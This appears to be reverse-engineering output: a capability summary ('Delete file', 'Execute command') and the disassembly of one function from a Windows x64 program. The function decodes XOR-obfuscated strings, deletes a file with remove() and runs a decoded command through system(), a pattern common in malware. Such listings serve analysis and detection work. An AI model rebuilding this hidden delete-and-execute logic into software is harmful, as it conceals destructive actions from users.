Function at 0x140006aa0
Capabilities:
Delete file
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x50]
sub rsp, 0x150
mov rax, qword [0x140084080]
xor rax, rsp
mov qword [rbp + 0x40], rax
xor r14d, r14d
lea rcx, [rbp - 0x38]
call fcn.140006310
nop
movabs rax, 0xdb02b55678a7c3a5
mov qword [rbp + 0x10], rax
movabs r12, 0x68907adbfcef2264
mov qword [rbp + 0x18], r12
movabs r13, 0xdb02b5561ddfa68b
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], r12
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rsp + 0x28]
call fcn.140005fc0
nop
lea rdx, [rbp + 0x10]
mov rcx, rax
call fcn.14000abb0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x48], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r14b
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x140006b90
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006b8b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067a10
movdqa xmm0, xmmword [0x140078e60]
movdqu xmmword [rsp + 0x38], xmm0
mov byte [rsp + 0x28], 0
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x78]
call fcn.14000c580
nop
lea rcx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rcx, qword [rbp - 0x78]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rsi, qword [0x1400bd590]
mov r15, rsi
mov rbx, qword [0x1400bd588]
sub r15, rbx
sar r15, 2
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r14
cmp rbx, rsi
jne 0x140006c03
mov eax, reloc.WS2_32.dll_ntohs
mov qword [rbp + 8], rax
mov byte [rbp - 0x10], 0
jmp 0x140006d00
sub rsi, rbx
sar rsi, 2
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
movabs rax, 0x7fffffffffffffff
cmp rsi, rax
ja 0x140007045
mov edi, reloc.WS2_32.dll_ntohs
cmp rsi, rdi
jbe 0x140006cc3
mov rdi, rsi
or rdi, 0xf
cmp rdi, rax
jbe 0x140006c7a
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140067794
mov rcx, rax
test rax, rax
je 0x140006d4c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rbp - 0x10], rax
mov qword [rbp + 8], rdi
jmp 0x140006cc7
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140006c9c
mov rax, r14
mov qword [rbp - 0x10], rax
mov qword [rbp + 8], rdi
jmp 0x140006cc7
cmp rcx, 0x1000
jb 0x140006cb4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000704b
jmp 0x140006c50
call fcn.140067794
mov qword [rbp - 0x10], rax
mov qword [rbp + 8], rdi
jmp 0x140006cc7
mov rax, qword [rbp - 0x10]
lea r9, [rbp - 0x10]
cmp rdi, 0xf
cmova r9, rax
mov rcx, r9
mov rdx, rsi
test rsi, rsi
je 0x140006cf3
nop
movzx eax, byte [rbx]
mov byte [rcx], al
lea rcx, [rcx + 1]
lea rbx, [rbx + 4]
sub rdx, 1
jne 0x140006ce0
mov qword [rbp], rsi
mov byte [r9 + rsi], 0
mov rax, qword [rbp + 8]
lea rdx, [rbp - 0x10]
cmp rax, 0xf
cmova rdx, qword [rbp - 0x10]
mov r8, r15
lea rcx, [rbp - 0x78]
call fcn.1400064c0
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x140006d58
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006d53
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067a10
movabs rax, 0xdb02b5561ddfa6a9
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], r12
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x20], xmm0
movabs rax, 0xf92095226fbed2f8
mov qword [rbp + 0x10], rax
movabs rax, 0x68907adbfcef0044
mov qword [rbp + 0x18], rax
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r12
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0x10], xmm0
lea r8, [rbp - 0x78]
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x48]
call fcn.14000c420
nop
lea rdx, [rbp + 0x20]
mov rcx, rax
call fcn.14000abb0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140006e42
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006e3d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006e3d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067a10
movdqa xmm0, xmmword [0x140078e60]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
lea rcx, [rsp + 0x68]
cmp qword [rbp - 0x80], 0xf
cmova rcx, qword [rsp + 0x68]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x140006ef7
movabs rax, 0xaf22d13371b6c7cd
mov qword [rbp - 0x10], rax
movabs rax, 0x46e408ba889c020b
mov qword [rbp - 8], rax
movabs rax, 0x39b9e69064e4635f
mov qword [rbp], rax
movabs rcx, 0xdaea103db9d9a23e
mov qword [rbp + 8], rcx
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], r12
movabs rax, 0x39b9e69064e46355
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rcx
movdqa xmm0, xmmword [rbp - 0x10]
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [rbp]
xorps xmm1, xmmword [rbp + 0x30]
movdqa xmmword [rbp], xmm1
lea rdx, [rbp - 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14000c9e0
mov r14d, 0xffffffff
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140006f36
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006f31
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067a10
movdqa xmm0, xmmword [0x140078e60]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140006f8f
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006f82
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067a10
movdqa xmm0, xmmword [0x140078e60]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140006fd7
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006fd1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006fd1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067a10
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140007015
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007010
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007010
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140067a10
mov eax, r14d
mov rcx, qword [rbp + 0x40]
xor rcx, rsp
call fcn.140067690
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400012c0
nop
call fcn.140001220
int3